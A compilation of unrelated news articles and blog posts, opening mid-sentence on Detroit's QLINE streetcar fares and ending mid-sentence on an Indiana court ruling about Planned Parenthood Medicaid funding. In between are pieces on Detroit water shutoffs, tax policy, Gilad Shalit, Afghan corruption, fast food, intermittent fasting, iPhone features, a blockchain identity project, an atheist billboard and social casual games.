nothing to do downtown when it's cold." His sister said she expects to ride from time to time. "I'll buy a pass, but not like an everyday thing," she said. Andre Gilbert, 30, of Detroit, waited at the Congress station Thursday, finishing some lunch he'd grabbed from a food truck near Campus Martius. Gilbert said he works for the city clerk's office and takes the QLINE regularly. He considers the QLINE a nice feature and will probably buy a pass, but he noted that he can bike to his destinations faster than taking a trip on the streetcar. "It's cool if you're not in a real hurry to get anywhere," Gilbert said as a streetcar pulled up to the station a few minutes after a previous streetcar had left. As a reporter joined Gilbert on the train, the two discussed the appearance of another streetcar so quickly at the station. Gilbert agreed that the speed of service had improved since the QLINE launched. On the short trip to the next station, at Campus Martius, two additional streetcars were seen heading in the opposite direction. Contact Eric D. Lawrence: elawrence@freepress.com. Follow him on Twitter @_ericdlawrence. What will it cost to ride the QLINE? $1.50 for three hours. 75 cents for seniors (65 and older), disabled riders and Medicare cardholders. $3 for day passes. $30 for a monthly pass. $285 for an annual pass. Annual passes will be prorated and will cost $112 if purchased in September. Transfers to and from DDOT buses will be 25 cents. Transfers to and from SMART buses will be 25 cents for full-fare and youth riders, free for disabled and senior riders. Tickets can be bought with cash on the streetcar. Credit cards can be used at stations or through the QLINE app for smartphones. Another option is to pay in person with check or money order at the Penske Tech Center, 7520 Woodward. Read or Share this story: http://on.freep.com/2xENc7F |
Experts warn of public health crisis as Detroit rejects halt to water shutoffs By Kathleen Martin 1 August 2017 Doctors, researchers and community groups sponsored a meeting last week at Wayne State University to warn of an impending public health crisis in Detroit due to mass water shutoffs. Preliminary data from the Henry Ford Global Health Initiative found that residents are 1.55 times more likely to be subject to water-borne illness if they live on a block where a water shutoff occurs. The research compared household-level data from blocks with high rates of water shutoffs in Detroit to hospital visits related to water-borne illnesses at Henry Ford Hospital. The conference was called by We the People of Detroit, a research group, and the Detroit Equity Action Lab, a program at the Damon J. Keith Center for Civil Rights at Wayne State University. Peter Hammer, a professor at the university, introduced the panel of speakers from the public health community who outlined the health risks associated with water shutoffs. One speaker, Dr. Wendy Johnson, director of La Familia Medical Center in New Mexico, condemned the shutoffs and spoke on the myriad of health problems associated with lack of access to safe water, including poor hygiene, contagious water-borne illnesses, dehydration, poor nutrition from the inability to cook at home, and mental health issues stemming from the physical complications. Another speaker, Dr. Paul T. von Oeyen, a retired high-risk obstetrician at Beaumont Health Systems in the Detroit suburb of Royal Oak, told the meeting, “I am appalled by the lack of empathy on the part of Mayor Duggan and the director of DWSD [Detroit Water and Sewerage Department], Gary Brown—that they would institute this policy of water shutoffs on this most vulnerable layer of the population, shutoffs on expectant mothers and their infants.” Von Oeyen outlined the grave health risks that face pregnant women who lack access to clean running water. “Expectant mothers are especially vulnerable in the hot summer months with maternal overheating when water shutoffs are at their height,” he said. He explained that pregnant women are at a much higher risk of heat stroke, which could kill the fetus, as well as possible diseases from higher risk of infection due to living in unsanitary conditions. He drew parallels between the water crisis in Flint and the associated spread of Legionnaire’s disease and the lack of access to safe drinking water due to shutoffs in Detroit. Risks associated with the consumption of contaminated water include neural tube defects in the fetus. Two of the most common neural tube defects are spina bifida, a permanently disabling condition that occurs in the womb when the spinal column does not close all the way; and anencephaly, where a child is born without a large portion of the skull and brain. The life expectancy of the latter defect is anywhere from a few hours to a few days after birth. “Any reasonable person would expect that the city of Detroit would immediately issue a moratorium on shutoffs,” said a researcher from the team responsible for the findings. An estimated one in six homes in Detroit do not have running water. Since the beginning of the brutal shutoff policy in 2014 following the transfer of the Detroit Water and Sewerage Department (DWSD) to the Great Lakes Water Authority (GLWA) as a consequence of the Detroit bankruptcy settlement, over 80,000 households and buildings have lost access to running water due to nonpayment of bills. “Water is a basic human right, and the UN came to Detroit and said, ‘You guys are violating a basic human right,’ said Johnson. He continued, “Detroit is one of the few cities in the world which has these draconian measures to cut off water for so many people, this essential human right. It is evil. The people who are rich don’t suffer, their debts get forgiven.” One speaker stated that, “the map of water shutoffs is the map of poverty.” Other recent studies reveal the crisis-ridden state of US infrastructure, including water. The dilapidated infrastructure and irrational character of privatizing water for profit is leading directly toward disaster. A study released last week by the Environmental Working Group stated that over 6 million Michigan residents have been potentially exposed to hexavalent chromium and/or trihalomethanes in their tap water, both of which can cause cancer. While most state water institutions are technically below the regulatory limit, that limit is often raised, in contradiction to public health guidelines. In other words, if the contaminant costs too much to remove from the water, state agencies will manipulate statutory limits at the expense of public health in order to sidestep removing the harmful contaminants. Three years into the ongoing Flint water crisis, in which residents were poisoned with lead following the switch to polluted Flint River water from the DWSD, no viable solution has been put forward by any section of local, state or federal government. Residents are now facing foreclosure for refusing to pay—or not being able to pay—for poisoned water. Another study released in January of this year from Michigan State University estimates that one-third of American households will not be able to afford their water bills in the next five years. Detroit Mayor Mike Duggan, in conjunction with ex-police chief and now head of DWSD Gary Brown, have refused a moratorium on the water shutoffs and have instead insisted on residents getting on a “payment plan” in which the person at risk of losing service is forced to pay a large sum of the debt up front and then pay the balance on a month-to-month basis. The goal of the payment plan is not to prevent water shutoffs, but to squeeze the maximum revenue from hard-pressed Detroit residents. Duggan is up for reelection this year and has the full support of the business establishment, including a Detroit Free Press endorsement. Meanwhile, Abdul El-Sayed, former director of public health in the city, is running for governor of Michigan. He has remained silent on the findings, along with the current director of public health, Dr. Joneigh S. Khaldun. A senior researcher at Henry Ford, Marcus Zervos, accused the panel of using the preliminary findings for political gain, while simultaneously admitting that it is “reasonable to conclude that there would be some impact to public health caused by water shutoffs.” Henry Ford Health System has a large stake in Detroit real estate, as it makes plans to expand its operations throughout the city. In organizing the conference, We the People of Detroit partnered with multiple sections of local Democratic Party-oriented activist and religious groups, including the People’s Water Board, which, according to its website, contains 33 “anti-poverty, social justice, environmental, conservation, faith-based” groups. These include AFSCME Local 207, Moratorium NOW, the Boggs Center Detroit, the Detroit Greens, and the Michigan Welfare Rights Organization. A list of demands posted on their web site simultaneously demands a moratorium on shutoffs while advocating the “original Detroit Water Affordability Plan,” that is based on the premise that by offering slightly lower water rates for low-income residents the DWSD would actually collect more overall revenue. They have also promoted the illusion that the United Nations’ toothless commission for social development intervene to reverse the city’s water shutoff policy. The primary political function of these groups is to conceal the responsibility of the Democratic Party for the social crisis in Detroit, particularly during and following the city’s exit from bankruptcy. Further, these groups promote the poison of racial politics, insisting that the root of the water shutoff crisis in Detroit, as well as the Flint water crisis, is racism, not the bankruptcy and failure of capitalism. This has been the particular role of Hammer, who issued a paper last year insisting that the water crisis in Flint was the product of “strategic and structural racism.” These groups, despite their occasional oppositional posturing, serve as an auxiliary prop of the corporate status quo. The claim that Democratic politicians can be pressured into implementing small, completely inadequate policy changes is aimed at preventing workers from drawing the larger conclusions on the nature of the crisis they confront. The mass water shutoffs in Detroit are a crime of capitalism. Free access to safe clean drinking water for all can only be obtained through the independent mobilization of the working class in opposition to the Democrats as well as the Republicans. The author recommends: The politics of the Detroit People’s Water Board [31 July 2014] Detroit professor advances “structural racism” theory of Flint water crisis [1 September 2016] Please enable JavaScript to view the comments powered by Disqus. |
JUDGING from our "most commented" sidebar widget, our readers find debates about taxation riveting. "Give the people what they want!" could be the motto of capitalism and democracy both, so far be it from me to disappoint with a post not about taxes. But don't worry: I'll spare us all further discussion of the distribution of the tax burden, and instead take up the question of what a rational and fair tax policy might look like. This subject might be less controversial than one thinks, judging from a recent Planet Money piece on six policies five economists ranging across the ideological spectrum all find agreeable. (I support all these policies, too, which I think must mean I'm an economist.) Of the six proposals, only one, marijuana legalisation, is not a tax policy. For now, let's set aside the proposals to eliminate the home-mortgage deduction, end corporate deductions for employee health-care costs, and tax carbon emissions, in order to focus on the remaining two: Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. Three: Eliminate the corporate income tax. Completely. If companies reinvest the money into their businesses, that's good. Don't tax companies in an effort to tax rich people. Four: Eliminate all income and payroll taxes. All of them. For everyone. Taxes discourage whatever you're taxing, but we like income, so why tax it? Payroll taxes discourage creating jobs. Not such a good idea. Instead, impose a consumption tax, designed to be progressive to protect lower-income households. Yes! Why argue about income-tax rates if there ought not be an income tax at all? Of course, if we did have a progressive consumption tax, we'd argue just as spiritedly about how progressive it ought to be. One sensible way to implement a consumption tax is to retain the basic structure of the status-quo income tax, but to treat all income saved or invested as tax-exempt. What is taxed is then, in effect, what is spent. If I had my druthers, all or most of the progressivity in this scheme would come from a graduated negative-income-tax element designed to guarantee all citizens a certain minimum income. Income (spent or saved) up to the minimum-income threshold would go untaxed, and incomes below the threshold would be supplemented with a government transfer. For those beyond the minimum income, I would prefer, on equity grounds, a single tax rate on all consumption. However, I think the distributive logic of democracy makes this extremely unlikely. An ideal system which substituted the corporate income tax with a levy on carbon consumption, and took away the home-mortgage deduction, would almost certainly increase the overall tax burden of the middle class. In terms of policy, this is a feature not a bug; fiscal balance is fanciful unless the middle class shoulders a heavier burden than it does now. However, middle-income voters tend not to suffer taxation gladly, and politicians will always compete to court them with subsidies for middle-class things. Unsurprisingly, middle-class breaks often redound to the benefit of wealthy, well-connected interests. For example, land owners and construction companies benefit when government subsidies boost demand for home-ownership. Rather than see a beautiful, fair, flat consumption tax become a moth-eaten mess due to predictable public-choice dynamics, I'd prefer to see higher rates on consumption above certain thresholds from the outset. This sort of strategic progressivity cannot entirely forestall politicking give-aways to the middle class, but it may prevent some of it. By catering to widespread intuitions about distributive justice from the start, attempts to exploit those intuitions for ad hoc rent-seeking purposes may be less successful. Regrettably, none of the "Planet Money" economists' tax proposals are presently on the table. One farseeing way to think about the contest between Mitt Romney and Barack Obama is to resist becoming too fixed on the argument between them on top tax rates, as fascinating as that debate might be, and concentrate instead on which candidate is more likely to move the whole American tax system toward the economists' consensus position. I reckon that Mr Romney would be more likely to have success in this regard, but mostly because I think Mr Obama is likely to continue to be mostly stymied by vehement opposition from congressional Republicans, no matter what it is he tries to do. |
Image copyright AFP Image caption Sgt Shalit has been held by Palestinian militants for the past five years The Red Cross has called on Palestinian militant group Hamas to provide proof that captured Israeli soldier Gilad Shalit is still alive. The aid agency made the unusual public appeal as Israel prepares to mark five years since his capture on Saturday. The ICRC said there had been "no sign of life" from the 24-year-old in almost two years. Hamas wants hundreds of Palestinian detainees freed from Israeli jails in exchange for the soldier. Israeli Prime Minister Benjamin Netanyahu has rejected the demand unless some of the worst offenders - including 450 with Israeli "blood on their hands" - are exiled. Hamas has rejected this condition. Support for a prisoner exchange deal appears to be growing among the Israeli public. A poll earlier this week showed that 63% favoured a deal, while only 19% were opposed. Shalit Timeline 1 Oct 2009: Video received in exchange for prisoner release Dec 2008-Jan 2009: Truce breaks down. Israel begins 22-day operation in Gaza 18 June 2008: Hamas-Israel truce agreed 10 June 2008: Letter received "in Shalit's writing" 25 June 2007: Audio message received 28 June 2006: Israeli troops enter Gaza after launching air strikes 26 June 2006: Militants demand prisoner release deal 25 June 2006: Shalit seized in cross-border attack Gilad Shalit was 19 when he was captured on 25 June 2006 by three armed Gaza groups, including Hamas. He has been held ever since at a secret location in Gaza and has not been permitted visits by the Red Cross. The last sign of life was in October 2009, when Hamas released a video of him calling on Mr Netanyahu to do everything to free him. "The total absence of information concerning Mr Shalit is completely unacceptable," ICRC director-general Yves Daccord said in a statement. "The Shalit family have the right under international humanitarian law to be in contact with their son," he added. |
The Associated Press, October 11, 2011 By Adam Goldman A major investigation into an influential Afghan governor accused of taking bribes has been shut down and its top prosecutor transferred to a unit that doesn't handle corruption cases, Afghan and U.S. officials said. The closing of the investigation into the former governor of Kapisa province, Ghulam Qawis Abu Bakr, comes on the heels of a grim, unpublicized assessment by U.S. officials that no substantive corruption prosecutions were taking place in Afghanistan despite President Hamid Karzai's pledge to root out graft. The Abu Bakr investigation raises troubling questions yet again about how much U.S. taxpayer money is lining the pockets of powerful Afghan officials, and whether the U.S. is doing all it can to persuade Karzai to crack down on corruption. It also suggests that the lax prosecution of corruption has pervaded all levels of government. U.S. officials had hoped the case would be the first conviction of a relatively significant person in Afghan government. While most of Abu Bakr's influence is in Kapisa province, he is also connected to the Hizb-e-Islami political party, which the government has been trying to court in hopes of getting the group to cut its ties with militants. Abu Bakr was suspended as governor after CIA Director David Petraeus, then the commander of U.S. and NATO forces in Afghanistan, presented Karzai with documentation showing that he was colluding with the Taliban, according to an Afghan official in Kabul with direct knowledge of the incident. In the two years since Karzai unveiled a new anti-corruption task force, powerful government figures have been accused of corruption and even investigated, but seldom brought to court. It appears that Abu Bakr will be no exception. Most of the approximately 2,000 cases investigated by the anti-corruption unit since its birth in 2009 have stalled, said a NATO official familiar with the unit, who spoke anonymously to discuss sensitive matters. The 28 convictions so far have all been of minor players. The attorney general's office has been infiltrated by power brokers, ranging from lawmakers to warlords, who are systematically blocking cases, the NATO official said. In general, little has come of Karzai's promises after a fraud-marred 2009 election that he would make rooting out graft a priority. In fact, a corruption scandal in the interim involving the country's largest private bank has incriminated a number of Karzai allies, including relatives. The first evidence that corruption was not being taken seriously in the attorney general's office came in the summer of 2010, when a Karzai aide was arrested on charges of accepting a car in exchange for his help in thwarting a corruption case. Karzai ordered the release of the aide, Mohammad Zia Salehi. Because of the onslaught of negative publicity, Attorney General Mohammed Ishaq Aloko ordered his prosecutors not to discuss details of their cases with the U.S. officials advising them, saying that if they did, they would be considered U.S. spies, said an Afghan official who worked in the anti-corruption unit. Both the attorney general and Abu Bakr declined to comment. The current head of the anti-corruption unit at the attorney general's office said the case was ongoing. "The case against Gov. Ghulam Qawis Abu Bakr has not closed. Our unit is still working on that case. They are trying to collect evidence and complete the case and get it ready to send it to the courts," said Gen. Abu Baker Rafiyee. "When the case will go to court is not clear. It will be whenever it is ready for the court." Several months ago, U.S. Embassy personnel in Kabul concluded no substantive corruption prosecutions were taking place in Afghanistan, according to a former senior U.S. familiar with the briefing — which occurred before the Abu Bakr case was halted. The former official was told during the briefing the drive to crack down on graft by the Afghan government had come to a halt more than a year ago. Current and former U.S. officials said the American administration was trying to downplay their anti-corruption work in its Afghanistan policy because it was such a failure. The case against Abu Bakr opened last year after allegations surface d he had received a $200,000 bribe in exchange for the contract to build a cell tower, an Afghan official said. Abu Bakr lives in Mahmud-i-Raqi, the capital of Kapisa province, in a large house. He has three other houses in Kabul, all built, according to the original witness statements, with stone and gravel paid for by foreign donations intended for roads, schools and clinics. About 20 witnesses said the governor forced local construction companies to give him truckloads of gravel and stone for his expensive homes, according to the officials. The witnesses reportedly said the governor threatened to halt their construction projects if he didn't get what he wanted. However, when prosecutors traveled to Kapisa in late June to get more evidence, the witnesses were no longer willing to cooperate. "They changed their story," the Afghan official said. Prosecutors also met with Abu Bakr, who denied everything. Only one witness was still willing to testify, a man named Shah Agha who said Abu Bakr shut down his rock-crushing plant after he refused to donate 100 trucks of gravel — worth about $10,500 — for the construction of one of his houses. Agha said within an hour of giving his statement in Kabul, his phone started ringing. "It was people, friends, asking me why I had talked against Abu Bakr," Agha told the AP. He said his testimony could only have gotten out so quickly if someone inside the attorney general's office was tipping people off. Four months ago, the Abu Bakr case was abruptly closed, despite pleas from the prosecutor for more time to gather evidence, according to officials. In July, the top prosecutor was demoted, and sent to oversee conditions in Afghan prisons, according to an Afghan government document obtained by The Associated Press. Her pay was cut by $50 a month, or about a fourth of her monthly salary. At least three prosecutors who have persisted in sensitive investigations — two of them involving Abu Bakr — have been removed or transferred, either to other departments or to remote provinces, according to a senior U.S. official. Almost everyone in the Abu Bakr case would only speak anonymously, especially in Mahmud-i-Raqi, for fear of recrimination and of angering a man still considered more powerful than the current governor. One provincial official described speaking to construction companies who acknowledged paying off Abu Bakr in exchange for contracts, including one that involved U.S. funds to pave a road. The official said Abu Bakr demanded the company raise the price of its bid to include a $150,000 kickback. Rahim Faiez and Amir Shah contributed to this report from Kabul. Desmond Butler contributed from Washington. |
McDonald's just got a lot more vegetarian friendly in Singapore, with the release of a new meatless burger here. The new burger is a permanent item on its menu, and was announced on Tuesday. It has a deep-fried patty made from green peas, carrots, green beans, red bell peppers and potatoes. The "Veggie Crunch Burger" represents a proper offering for vegetarians. For now, most of McDonald's menu is pitifully thin on vegetarian-friendly items. In the U.S., McDonald's website states plainly that it does not offer veggie burgers: Vegetarian diners in the U.K. have to subsist mostly on breakfast items to get by: In Singapore, prior to the new veggie burger's release, the restaurant's website suggested that vegetarians eat french fries and hashbrowns, or ask for a custom order on a burger without the patty — the main component of the burger: But while it's meatless, it isn't vegan. The patty is topped with McChicken sauce, which contains eggs, and its sweet chilli sauce is made with garlic, so you'll need to request for it without sauces if those ingredients fall outside your dietary allowances. This isn't the first time McDonald's has released a veggie burger in Singapore, although it's its first permanent menu item. Back in 2013, it ran a test burger for a limited time called the McAloo Tikki, a S$2 ($1.47) burger with a potato patty. The McAloo Tikki was already launched successfully the year before in India, where McDonald's had launched an entirely vegetarian-only restaurant. McDonald's said at the time it was responding to local demand for veggie options from a large vegetarian base there. The outlet, opened near the Golden Temple in Amritsar, was also catering to devotees who go entirely meat-free while worshipping there. Two years later, McDonald's had a reported 320 million customers per year in India, thanks to its efforts to localise its menu. |
Fasting To Lose Weight – What You Need To Know. Not only did I lose weight using intermittent fasting , but I have now kept the weight off for over 2 years. So if you have decided you want to try fasting to lose weight, I think I am now well qualified to give you some pointers on where to start and what to do. Fasting To Lose Weight- Tips When Getting Started. 1 Keep your I.F. plans private. The first thing I would advise is to keep the fact you are using fasting to lose weight private. From experience I can tell you, it just is not worth the effort of trying to justify what you are doing. Keep it quiet and let the results speak for themselves. Even today after losing 70lbs when someone asks for my diet, I just say I didn’t diet, I just ate less, and leave it at that. No.2 Ease Yourself in Gently. If you have never fasted before, it can seem a little daunting at first to take a 24hr break from eating. All I can tell you is it does get easier the more you do it, but at the start, just aim for 1 fast of 24hrs in 7 days. If you come up a little short, don’t worry about it, just try it again a few days later, just see how far you get. Start with little steps, if you need to build up to a full 24 hour fast, that is OK too. Start by either skipping breakfast or lunch, and build from there. I can tell you that going through the process of taking a break from eating will help you learn a great deal about yourself and your relationship with food, and because of this, you find on days when you are not fasting you tend to make different choices because of what you become aware of during your eating breaks. So much of what we do is based around habit and routine. We eat at 1pm not because we are hungry, but because that is the time of our work lunch break. After you do a few fasts, it won’t be unusual for you to think, ” I am not hungry right now, I am going to skip lunch and wait for dinner tonight. I guess what I am trying to say is, fasting to lose weight gets you away from the traditional thinking that you must have 3 meals a day. Fasting To Lose Weight Calories in V Calories Out No 3 Calories Still Matter Remember that even if you are fasting to lose weight, you still have to be in a calorie deficit in order to see weight loss. If you do a 24 hour fast and then eat more calories than you need, you still won’t lose any fat. Don’t over compensate for the fast. continue your day as if the fast never happened. Yes there are huge health benefits associated with fasting, but you are fasting to lose weight first and foremost, so keep that in mind Remember that even if you are fasting to lose weight, you still have to be in a calorie deficit in order to see weight loss. If you do a 24 hour fast and then eat more calories than you need, you still won’t lose any fat. Don’t over compensate for the fast. continue your day as if the fast never happened. Yes there are huge health benefits associated with fasting, but you are fasting to lose weight first and foremost, so keep that in mind Make sure you know what your BMR / RMR ; level is. RMR is your Resting Metabolic Rate Use this as your guide for the daily calories. I work of a weekly total rather than a daily one. OK. Now you can make a start. That covers your essential guide to fasting to lose weight. any questions, leave them in the comments and I will be happy to answer. You can also follow me on twitter here Go Back To Fasting Weight Loss Blog Homepage |
Also, obviously, this begins to open the door to the strange new world that is treating your iPhone like a portable game console hooked up to your TV. You could technically do this with the Moga Ace Power and Logitech Powershell, but it required beaming your video output via AirPlay, which arguably is the least ideal of all possible solutions given the significant amounts of nearly unplayable lag AirPlay introduces. Wiring your iPhone or iPad direct to your TV via the Lightning Digital AV Adapter significantly mitigates this. Following the release of the Logitech Powershell and MOGA Ace Power , gaming peripheral company SteelSeries today announced its Stratus iOS 7 gaming controller. Unlike the other two controllers, the Stratus is a completely wireless accessory that connects through Bluetooth instead of using the Lightning port on an iOS device.Featuring console-style controls such as a directional pad, two analog sticks and four pressure sensitive face buttons, the Stratus' Bluetooth capabilities allows connectivity for up to four controllers. The device also includes a protective cover that doubles as an extended grip.Our sister site TouchArcade had the opportunity to spend some extended time with the SteelSeries Stratus, and has provided a detailed review outlining the strengths and weaknesses of the controller. While the device was given high marks for being useable with any iOS 7 device and an impressive battery life of over ten hours, criticisms centered around the high price tag and the comfort issues that the controller's small design creates. Despite those criticisms, TouchArcade stated that the SteelSeries Stratus is “without a doubt the best controller out there.“Another positive aspect of the SteelSeries Stratus was its ability to work well with Apple's Lighting Digital AV Adapter while gaming:Currently, games such as Dead Trigger 2 Asphalt 8: Airborne , and Bastion offer controller support, with additional developers pledging to build controller support into their apps now that the hardware is available to consumers.The SteelSeries Stratus sells for $99.99 and is available now for pre-orders. |
One of the best things about Find My iPhone is the ability to, well, find your iPhone if you happen to misplace it. It’s a feature that every iOS device owner (and Mac users too) should have enabled on their devices, but up until now there has been a problem; when a devices battery runs out, so goes the ability to track the lost iPhone. That’s exactly what this setting in iOS 8 aims to resolve, and much like Find My iPhone, every iOS device owner should take a moment to enable this. Descriptively called “Send Last Location”, it sends the last known location of the iOS device to Apple when the battery becomes critically low. What this means for you as the person looking for the missing iPhone, is that the last place it was physically located will show up on your very own Find My iPhone map, and with that, hopefully the ability to go find the now battery-drained device. How to Help Find Your iPhone Even if Battery Dies by Enabling Send Last Location You’ll need to have the general Find My iPhone service enabled for this option to work, but you should always have that enabled anyway for a variety of reasons. Here’s what you’ll want to do next: Open “Settings” and go to “iCloud” Select “Find My iPhone” and flip the switch next to “Send Last Location” to the ON position With that toggled on you can exit out of Settings as usual and then rest a little easier knowing that even if your battery poops out, you’ll (hopefully) still be able to locate your lost iPhone or iPad by looking for it’s last known location on a map. It’s a bit of a mystery why this isn’t enabled by default when a user chooses to enable Find My iPhone, since it will undoubtedly lead to the recover of more missing iPhones, iPads, and iPods. Hopefully this feature makes it to the Mac soon as well, but current versions of Mac OS X do not have such an ability. Of course, there are a few limitations with this feature. You obviously won’t be able to make a battery dead device beep, and this will have limited efficacy with a stolen iPhone or other iOS device, but that’s when the other Find My iPhone feature can be used to lock down a device with the iCloud Activation Lock. Activation Lock is able to remotely render a device useless until the proper Apple ID has been used to disable the iCloud lock active on the device in question, which means if a thief has your device, they at least won’t be able to use it. |
uPort, described as ‘the next generation of identity systems’, is pitched as “self-sovereign identity”. uPort permits secure interaction with the Ethereum blockchain using biometric and encryption features (e.g., fingerprint reader) on a mobile device. It associates an Ethereum address with a user name, avatar, email address and/or social media account to create a ‘map’ of an individual’s identity. The persona is verified through the Ethereum blockchain, but the ownership of the identity is determined locally using public and private key pairs. A selective disclosure system allows users to stay in total control of which friends, businesses and/or third-parties can access their personal data. The ‘Internet of People’ Begins The companies involved in this new partnership say it will help kickstart the “Internet of People”. Users will be able to edit and control their “self-sovereign identity” from Ubuntu devices. Christian Lundkvist, co-founder of uPort says: “[The] Ubuntu operating system integrated with the bleeding edge digital identity tools of uPort, the Ubuntu phone will be a great step towards a fully self-sovereign and completely interconnected world.” Joseph Lubin, founder of ConsenSys says: “The Ubuntu phone […] incorporating the uPort persistent, portable Identity tools takes [the Ubuntu Phone] into a realm beyond, where identity is self-sovereign — fully controlled by the user, deeply secure and, like the phone itself, opens new vistas on the emerging decentralized web services.” Blockchain: Unlocked Potential Admittedly I am not a biometric security expert, and the wall of jargon that surrounds (most) blockchain technologies is as impenetrable as the secure transactions it affords. |
A new billboard has gone up in South Dakota in reply to Coalition of Reason’s recent sign. "When I saw the sign I thought of it as a direct attack on my God. I thought that it would be good for people to know that God is alive and that He has something to say," Kreider said to The Christian Post. So, Mr Kreider, what does your god have to say? Oh. The same damned quote you kooks always drag out. You know the authority of your bible is about the same as the authority of a Pokemon manual to me, so flinging quotes at me does you no good. I can give you quotes, too — quotes from people who actually existed. So much blood has been shed by the Church because of an omission from the Gospel: “Ye shall be indifferent as to what your neighbor’s religion is.” Not merely tolerant of it, but indifferent to it. Divinity is claimed for many religions; but no religion is great enough or divine enough to add that new law to its code. Mark Twain We despise all reverences and all the objects of reverence which are outside the pale of our own list of sacred things. And yet, with strange inconsistency, we are shocked when other people despise and defile the things which are holy to us. Mark Twain The World is my country, all mankind are my brethren, and to do good is my religion. Thomas Paine Religion has convinced people that there’s an invisible man … living in the sky. Who watches everything you do every minute of every day. And the invisible man has a list of ten specific things he doesn’t want you to do. And if you do any of these things, he will send you to a special place, of burning and fire and smoke and torture and anguish for you to live forever, and suffer, and suffer, and burn, and scream, until the end of time. But he loves you. He loves you. He loves you and he needs money. George Carlin Ask yourself this: if there is a god, why are the atheists so much more creative and witty? |
Enlarge Text Whirl is a bit like Scrabble against the clock. You put together words from six scrambled letters for points. Available on Social Gaming Network (sgn.com) on Facebook and elsewhere. Social Gaming Network's game bar on Facebook lets players know what other games their friends are playing on the network. Enlarge PathWords is Tetris-like letter scramble in which you click on tiles to create words of three letters or more; the more letters, the higher your score. Host company Zynga.com also has its own social bar that displays on social networks to let players know if friends are online and what they are playing. Enlarge Dominoes, one of the classic games, along with Hearts, Spades, Sudoku, backgammon and chess, available on Mytopia.com. There are customizable avatars and virtual prizes. Casual games are making connections with social networks to make a play for even bigger audiences. The reach of online casual games is already impressive: One-third of people ages 6 to 44 have played them, according to market tracker The NPD Group. Globally, casual games on PCs, game systems and handhelds, played online and off, generate about $2.25 billion annually, according to the Casual Games Association. SHARE GAMES: Tell us what you play online By playing nice with social networks such as Facebook, expected to hit 100 million users by year's end, the casual game category can only increase the stakes, says CGA president Jessica Tams. "The introduction of platforms which create opportunities for accessible and family play have raised the awareness of the fact that games are played by everyone, everywhere," she says. In the past two months, two new online gaming hubs, Cafe.com and Mytopia, have launched with features that let players connect with friends on the Web and through various social networks such as Facebook and MySpace, as well as Bebo and Hi5. Cafe.com features drawing game Sketch-It!, along with the more traditional Concentration and Sudoku; players can buy game "boosts" and outfit "Mini-Me" avatars. Mytopia.com focuses on traditional games such as backgammon and dominoes, and also has virtual currency for prizes and upgrades. Mytopia founder Guy Ben-Artzi says he created the hub to "build bridges" between online islands like Facebook and MySpace. Two popular existing networks, Zynga and Social Gaming Network, have begun adding their games as applications on social networks. More such combinations are on the way, because the revenue potential from advertising, subscriptions and virtual items "is enormous," says Ross Popoff-Walker, a researcher for Forrester Research. "It's a huge audience, (and) there are a lot of different experiments on the Web taking on elements of gaming and the traditional social network." Social Gaming Network (sgn.com), which opened in August, has seen its WarBook game attract more than 33,600 daily users on Facebook since becoming an application last fall. "It's a once-in-a-generation opportunity," says SGN co-founder Shervin Pishevar. "You have free access to all these users looking for fun and engaging experiences with their friends. We're connecting them in ways that wasn't really possible before." Over the past two months, since gaming hub Zynga made its games such as Texas Hold'em and Scramble available on Facebook, its audience has grown from 1 million to 2.3 million players daily, says founder Mark Pincus. "This is clearly penetrating a mass market." Historically, games such as Popcap Games' Bejeweled helped fuel casual games' growth in versions for the Web, cellphones, handhelds and game systems. Electronic Arts' Pogo.com rose as a dominant casual games hub that began offering subscriptions (currently 1.62 million) as well as downloadable games. When online Scrabble clone Scrabulous last year saw its Facebook following grow to nearly 1 million, Pincus says, "social gaming got on the map, and people were asking 'Is it one game or an industry?' "Social gaming has continued to grow," he says. "For the first time ever, digital games can start to penetrate people who never played games before." Today, Scrabulous has more than 3.5 million registered users with more than 600,000 playing daily. It remains available on Facebook and online (scrabulous.com) despite Scrabble trademark holders Hasbro and Mattel trying to shut down the game, created by Jayant and Rajat Agarwalla, brothers who live in India. Neither Hasbro, which controls the trademark in the USA, nor Jayant Agarwalla would comment about legal developments. Hasbro says EA plans to release a free social network version of Scrabble in the near future. As for the attraction of casual games, Agarwalla says they "provide quick entertainment for users without pinching their wallets. People can take a quick break from work, play a few games and get back. It's faster and I guess healthier than drinking coffee or watching TV." And the social aspect is important, he says. "When you play Scrabulous, you stay in touch because the moment you are thinking of a word, you are also thinking of your opponent. And that's what counts." University of Texas law student Matthew Tominey, 24, says Scrabulous provides much-needed breaks during studying for finals. "I would say it makes me happy, even though my win/loss record is abysmal." Readers: What are your favorite casual games? What do you play on Facebook? Share your picks and opinions in the comments below. Enlarge One of the games on new Cafe.com, Sketch-It! is a cross between Etch A Sketch and Charades. Players must get competitors to guess a secret word by drawing the object using a palette of colors. Newcomers get 10,000 Cafe coins (virtual currency) to outfit their "Mini-Me" or to use during games as "boosts." Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more |
The state of Indiana cannot withhold Medicaid funding from the local Planned Parenthood affiliate because some of its clinics offer abortions, a federal appeals court ruled Tuesday. The Seventh Circuit Court of Appeals upheld a June 2011 injunction from a lower-court judge blocking a law that would have prevented Planned Parenthood of Indiana from participating in the state's Medicaid program. The U.S. Department of Health and Human Services also spoke out against the law at the time, arguing in a letter to Indiana's state Medicaid director that the proposed change violates federal Medicaid rules by restricting beneficiaries' freedom to choose any qualified health care provider. "We're really pleased, particularly in Indiana where the economy continues to be a challenge, that it's so clearly affirmed by the Seventh Circuit Court that it's appropriate for us to continue to serve as Medicaid providers," Planned Parenthood of Indiana President Betty Cockrum told HuffPost on Tuesday. "We've got 9,300 Medicaid patients, men and women, who rely on us for health and family planning services such as birth control, pap tests, breast exams and STD tests." Planned Parenthood of Indiana receives about $3 million a year from the federal government and serves about 22,000 low-income patients using Titles X, V, and XX and Medicaid funds. The Hyde Amendment already prohibits the federal funding of abortion services, except in cases of rape or incest, so the Medicaid money that flows to Planned Parenthood clinics can only be used for other health care and family planning services. But state Republican lawmakers in Indiana argued when they passed the defunding law that taxpayers do not want to support an organization that performs abortions, regardless of who pays for those services. "The fundamental issue is that when we take tax dollars and fund any entity that performs abortions, we're forcing taxpayers to support a practice that many feel is objectionable," State Sen. Scott Schneider (R-Indianapolis), the author of the provision to cut Planned Parenthood's funding, told HuffPost in an April 2011 interview. The American Civil Liberties Union, 